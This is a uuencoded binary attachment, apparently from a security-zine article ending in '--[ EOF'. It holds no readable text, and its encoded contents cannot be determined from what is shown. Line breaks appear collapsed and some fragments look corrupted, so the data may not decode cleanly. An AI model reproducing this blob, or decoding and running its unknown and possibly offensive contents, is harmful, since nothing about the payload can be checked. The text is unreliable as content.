MZ7!'1W<>$2,D'LLHRC<%9JOS,8?5?#*=7(9CC1L91&,(8*3R!T`<]W1:_#"F MTPJ4=!6'E;8<=JY::$>Y[`4/I\`C)5K5*9:2\4T]G)QJJY,YU/)HRLA23Y\8 M[O"O58,AZ(HYK6/B3TNX&3W4GIQB6K^U)[.830WCV2QJT49_]&&82NSAW,[+%L><:CY1+>FD'01!41!AOUZ%HJ,OW9-'"=]XJ%F8!`OYW5EBVV`/TMB^8AB,K*Y%-4HZ-& MW)1"L&&6=H>>!63+)[6$Q_^RE+YDG*$'XF0:?8JCJXJ3B)U]F$%T<78L=S9T ME8'P;+I+D<3IJ9TH&P&O/$45!`N@ M]!F%#&S5@S7/78SM5WZHHB/&LV_CR+%4#Y7%2+UF1\2U$L)+%=:OO(K)I?*^ ML?'GXIVG;?9-MDJZL0.>D2+056*C#8_*FQ_N5XHF1<3J*.A:LHZ"`C8/"HIW MJK6N%">];=M5?BXB.%SJN]GMX*.%",8P\%H$1_R2G`=*DT-,\W,V^/!OV<21 MFIAS]ZT*<;E.,`?_ZA&MC/L-93W1EBKWGH*%O%R@&I:RU,P96_VZ@A?2>!UU9H8#>SK)3$.K>I\%8))>7S+C_K$KA/@K'X06FX(S"2:5%_$$P M@U6'3D3C\44M1G&()L1>CR)$]'KH==WKU?TN4WI=7S1#CZ?4PECSGV/_.7[] MXO67:*/$_[.SO:[[?V[A_8_-SL["_O,U?AX&1[,)F7`H6BOTDEVTN)SA'RR# M%IV3U!X&[])HN@HJ6(RN-3S:;R)L],'9389IA#]$_)FGE&YB38RFVOOG`'WP MIRWFM/FO]H1N+@2OCX)?6/Q@#+D*A8]!0+%;YK"I$EXWX1###"?DD;#V,A[/ MKH/K1]M4#WZO;F]BS<)((]*U7Z8[EZG=UQ**9DN=U,GQ,VP2DJN4MR`KCM%; MC8Q,\7#@5,+682<'<`<8VIG%+GD8O`BS,$"7#[I/D7S"I.]`/.;Y$/#='P#[ M'><_AE[NL4&Z5Q-PB?UW<[.S:WN8O[_X>R_2>JQ!%]$63+)'+MPCAU8 MU*YJ#@%3\\ ME+I(F6T:)FN;_6JHH4+GWWH_W:U[(K``G:/AH(4Q,RC0!4'T7""GQ,-0$LO4 M5_OUG#`>9N?\$9E-4&D.*$X*X9U=*^2IPN`VLQ1V8;L!&XG@9+6?GM:;A36` M?*@5[984@Y_5OO9=!"TI2I^;!R<-GF"/G]&6<):?CK`*/!S7Z#K$W9_L-C2P MOK5M9Z^Q99_-X+G)C_5'*PF?493FLJBVR*7AKZY29Q3.2)XT M;M>8=RJ)Z(&^=F<`\PA@(JU.>\`.VDS[>0+ M-ODFH;YN\&-J^8*GJA`I2`HHJ8->/RUQ2=7:TE/6^&CO8N*KL5$I]:W;9)T\ MC5GL1=7X75KW\0J/]^TYW=65"#W_BR<_D!KY^<.Z&55CN2P>(74JQUDYC#3`3`2A'59X*P'RK90-0US%4/@!KV&^K_'[Z,+B^ M/^WW4X[**CM>1>_]D`-$SYA0!F.0`X,1L`J$ZQP(;%A<")I6CG0_Z9RZ=Q-E MI@(>;YG'@<^))C8-8]C^[]/\T/:M^J2I,FMX2/"351SJ4ZY,WY^:_RE@=]#- M@.9Z%/-R&!\X#%&;KAD:>>/*80PX#"V6?85:U[Q67GSZ.<5$?NH/]H>5^X-^ M^US1M'0@\*^1#`3^+5XEV#&T+H9D5#+33Z!POTT1[[R[<&TW(-&-A\-HT+M, MAE%ZS_()-N>_G<\AH&Q*_C&VZ\;&2-Z>GA/7WW(:$$-5!S,16V)9+QSF[D*";?YG*SVSW]+0;AB M,'>Z!/'LRQRD"!O3+YVQT<2S9`PC>#QFD^ M!8_#`G+Q$YW.]69W@)ZY.@NO!OR['_A['KM2]G_=W:VO^[_;6(O[G'\C^^R`XQ@@H M,49.$DL-+GPS"@OTF4'XC+;;,!C&9]-P>M.^+ZOQ%S$;HQ\Q&HK%K6'=ZFIE MUWX@E\F'IR(A=Q!FN])M$D]T6/6E`*P[DVR55VUGUUD=M/VP+NJT M,01E1*='FFMLM?;,-('>;-#HH]@)AM]UKL_Y3X"'K^*_;E3Z-\=40*??GB`4 M!9W7.DW:OXQ:D9,[FEU;PY<\_E%0+6Z2I83S(SJ$@_5O\;I8,X MO&WK/'?W-SI M+/2_K_'S?0RJ'`WZMYWV``-D1J/D$T75AC]5*'&,D_(I`GT!]^;MX(!Z[6[O,LDFZN[9V$6>7LS.,\[Z&B03>'7'&6JPC_S[S_PHTG;.+5;S;V.Z/ M!E_'_[^[;NW_MC:[B_W?5_GY!C-JTE8*-OJ#6JT=IJ-@G/20+WK,I1]>ICK'&/567:FW8)@",6NUL@@:@;S#1^@@0Z86P\ZR=S:R763A>#Y:^ MF=P$T-#[;#1Y_U[S:0^XM^WCH*"$Y@KW>,EMH9^D]]I`[6R(EP-^/V7;.?^Y M&5U&UU\U_OOF^J8]_^E*P&+^?X6?HD.:_INX_W%(ARL3^DM^2$9XDR6UGV&; M&<,&-^\81[:`,[YFG<_H)S?&60TI)WC`;S;2!A7D53*8#6$+3$7>O]?4&&B- MC.>RTD4T;K^(P_67\9D(-O\0M[F^`NVCF]%Q>/'NQ3%T9-3+PHO>;("A:M3[ MXIIO9F?#N'_$^BE`3.@E-XU+8$;1&C3#0X$VZNQZ$AZ,L+S?\,=LS,/O/B"E M3&1OX2#%)2;VV*.O+,@I'G=1M`*BD#CTXNF5Z1T[*#`MNT,ZJ#].-(O3G2Y&9>Q MO3YN_E%JXQ*)U\N^!XY_,SAK"*#^L1#(?W,:V!6;083Y%NJ%^.(1(C2*AWE' M+$I\0X\T"\R'9W90L,T8[*@/1>D$[?EE/!Q,B<9R5K5X4(N.YH7'&7B`-^:> MTE/[?V?1].9@G$73\[`?-0YPO$7L8ZL:XQF>H9T[HO!Y=:)!;L.[_XDI]+C^ MED6*]A@=M3+,J;3%PR)ZC_PT7.B>]3C09J5E%%4?A+A4M6]+64/8W".-SV?# M88]?NC&(.1Y$_60*TW)P"%^5I]]YUHL'&`%&UF2'MDN[NW^'C^08M>2GH:SK M'N6:R6"U_G#49&,GV[L9O"? MZLWMYO$*0CF)3QUF1#@?8TR&*R"ROYBW%(^I39.-%ETA'^KMM65853\.2;R8 MU2K!B7(GL)^PU>6?IO6QA50G#-!CD`IW*E"IBD>'049XT\@%R+J;9 M8$T$+I2DA^QHD27RZ^O_+./7T1>Q_Q?M_]>WUIW\C]M;"_W_:_SD9W'\+T_N M1IDMDF7H8TD:QY191EZX[R>K["N[)O3\,IS&63(._B>F3LPY[O\ MX'H?TND,%#[8O:FP>LK?00;B]4;=97?MKC.*\Y@?-<]IPGI!)GKQQA-A5U33 M'@SK/OIH'-$W)P:OJ"K_M'Y8Y7WXZHW3*ZNMNHVKJO`U#P6'.M8+YIV0I)0@ MMG>;,*K";8;'PVIP.@964%49S=+=?M4!"&!%D7VM\%I:]$L]U8K/;]099S

;)O=EH&,UI^1DQF9=(OJGJT9TS47DP"9:O@Y?+@RIHE63H M'-R&H[)U^GW361LY-WK&+23H$7UJK5Z45GPV_&Z2]OGB?C M<=3/=G[*/W+^B[;P MOWF=@;%KO_SRRZZ;,O,BRD@)@JW^9!CW\:3X,6B:T8!"T9YA2H-5]&C-HC%) M<@#$3@91CJ<4.6\@HN6%_3[J?^=12.'[[IZG51X]5\[52J[-OE/K'.?CG)RK M(#4F0SQMK_\=#7SUYNU3J!:`ND5>U;*R9D*L2IE8JAIQ^SG4JS?;3'GPI'MM MZHUS@/X4L,`U!#A.MS=!A!\QFZ^;.:W.(FK6:W=,%ZL3!"7$P?@\T>LTVW3G M]S7KF5Z_2BI7$ZPJU+;3Z7IRMO(52-!=4)J_EHHI&6+XMIM_$^,@8*UVD498+D^^"[BYA2>WU6--0YWLX-J_H"_:/6:(38/5D^[I`!4)_"\W.>P]I7:UJ:7`+I*Y+GY^ M[_/_3Q>KPRC\V+[,1L/[;Z,L_J_P_^ONP/^Z>/ZST=EUT-SB;)E>P&VH/DE'[BN)L MDW-"&W9F9[@S6GVFHF]P.)C18>G]>.DQO=0JR88>U_ZEH9!-XXL+6/`O^@V! MPB<8ZXM^R`+"!;2?:D`M^8T)ZR7>!+Z9],8P12C@3'^&NZUVG]S/^)ZLL319 M:CY6*JDL=98,;KA,)>^?%*SQU.Q\FT`#]"3HIT+C1!&5S>WN[JHFK M%'N51=?99? MCFMM/E70&YDY7.$S]&_=)@]!:4]FZ66#W*\/8%2P5CH[P\U?W((JM!=J^A"F MVH0RL"KJJAU.P\OP)B2']GXX_A2F;()LK*D.$@#LXB"9G>&N`I^- M7L:4Q;;;6=]0;(4:.4.<=TZQH/ARTCD-_@Q;^$<=]1&UX,?Z=K4QQMWFIDT3 M9-A&PP"S<][$34>W"4/*OW1/@V?/@AV-)T:R\:ZH)8@F-ER56]IT6MHL:JES M;@R/S@KKC!7&WMF!@$;`W!0Q$EID0.-3`QH0BORV:"P>!NM0KFL#@C(CM3O] MIV]GV@G6@H[JP[]R$Y0UTN"[8+4;[`8K0'!9Z5]*TG`-[BFC*Y1NC*`/8T.)SA%J_]YO71P?'! M3_N]@\/O#PX/CG_-;W>'P>S@OYV2?W/:?2+;/=S_8:]BN^=W;_= MK:UOO]WV-/@(6#^,&\J%$JT"JS5%=_.V@^'N&"^+J:FR3`0M= MF\1$B4#24!.WK&VV=(\`Q6LA,7GOY@%?>.0U0V*NG%1CBK6;P68P#_P(" M'=9I$+A,K+/%P"C189`BMBB@CO'8;E';9IH*A5QO88UOG.D++:H:HW#"9:HB M461S%YZ[VO,Z/*]KSQOPO*$];\+SIO:\!<];VO,V/&]KSSOPO*,] M/X+G1]KSM_#\K7KN(GZA]HSXG6G/B%]?>T;\!MHSXA=ISXC?^1(;2%VW[5JJ M;;K.7^3I7HTSKIT`0\&T\>JF71QK3OF3,V0P'-/3QT4EED$;.\U=[9U6`9,S MI0-Z<%@OQ6&]`@Y"V4;O8 MWMK:V%;DQ4`G(J39]G9'S#59`+W8PQBT;^]VQ-Q)*"T=-T%X\X3.9N+QQ9.S MZ3,^J"B$C6]T38CPP'M"NOF(7Q9:*MB/*/R]5)?8,Z'B=D`'^X&!_0!@-^@W M*?)(Q8T.GH(C]=8W.SG:E][4R0<6J`[CQV]N;6[#_[8>%Y1&07[*2N]L/H+_ M[=CZ&Q]^23S:WR'QF'$N&;L)I2392%6*HB!B^9R@X%3+FH66+;9;9+`J4=J[ MQQE$PRB+&GK7-.%N#\5L.,S]B#FE)5=WSL_5OHG7;%ML%)\ M2@I22/H)5S'!?Y85,_@T&P(VY+=AKL`2 M?A6&(6Q M'!>514VA!-N1]D5[5P!21.MN;V^?MM-D%/740/9&47:9#!H.VWC[<'Z^I!_/ M3*Z`<7LR-;5'=G6KL@.HEOKPBB7G6;#5Z>3M`CD*_#R&9$4RGZ^YZ=Q"=A2`!`)G-;KO3[DK^E/40-X"L592' M1!Q1T%?I>$@I1F$ZG')?*KH5:D)8M7!1]?`-$>0ISU^!/\`!&KS')IV(E>@- ML1-K"N%0+!:"Q3W6,.`<KBUJ-09RAL$7,TA33YJ" M2IR3;L=%6S87<7HS6G^*0;,;Y2!*2T,F:"X81>S07!K/15Z)$1/,:3QV!#.4 MUOJBL6:?Y8PI+O]8UV>QAJO+\BB./9"ZQN$X6_VEMONXDBH*^D2<7D:#;W@' MH;$G:\*4\&2-V19J3[`VNFTFX>#IDH/$XR5V!0@J8$&JB+:)A8WNJ]C_HGBR MRN?Z?9L!2^Q_6YN=+X`/'(9MF,S[`!D\KDH+FNN(A>>;^+6['I3VZ>'4[RH&L6X M[UX2^4"7-,XD5/`F*X_ZSSC4.+W5@*QHS1M<:4]A!9:-H#ZN_,#4:IE#R!<3 M`,*&RONA[*G&R;>VRO5I-0W8&B3X5K%C#@=;^B'`H)`F!&@;(GR7SE'MA8EZ8F!<_BY_%S^)G\;/X6?PL?A8_BQ_Q +\_\!1G2PPP#@`0`` ` end --[ EOF